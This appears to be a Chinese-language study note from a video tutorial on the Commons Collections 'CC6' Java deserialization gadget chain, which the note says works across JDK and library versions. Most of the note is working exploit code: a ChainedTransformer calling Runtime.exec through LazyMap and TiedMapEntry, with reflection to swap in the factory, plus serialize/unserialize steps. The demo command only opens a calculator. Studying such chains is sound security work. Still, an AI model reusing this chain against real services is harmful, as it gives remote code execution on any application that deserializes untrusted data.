声明:本文为b站白日梦组长视频学习笔记,如有侵权,联系我速删

组长b站的传送门:https://space.bilibili.com/2142877265/?spm_id_from=333.999.0.0

CC6链

不限制JDK版本,不限制CC版本

image-20220807151800678

1
2
3
4
5
6
7
8
9
10
11
12
13
//TiedMapEntry类
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public int hashCode() {
Object value = getValue();
return ......;
}
public Object getValue() {
return map.get(key);
}
1
2
3
4
5
6
7
8
9
//HashMap类
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
......
putVal(hash(key), key, value, false, false);
}
static final int hash(Object key) {
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

根据这个思路,写出如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, null);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,null);

serialize(hashMap);
// unserialize("ser.bin");

根据我们的测试和URLDNS链的经验,我们知道调用put后,就执行了hash方法

image-20220807153446656

image-20220810164345209

如果没有删key,反序列化时进不了这个if(序列化时key也会被保存,反序列化时发现map中包含key,返回true)

最终代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
//给lazyMap的factory传递一个别的,使其在put时先不执行
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry,"bbb");
//因为在LazyMap.get()中,一但执行一次就会把这个key添加进去,我们需要删掉它
lazyMap.remove("aaa");

//利用反射重新将chainedTransformer链加入lazymap
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

serialize(hashMap);
unserialize("ser.bin");

image-20220807161202629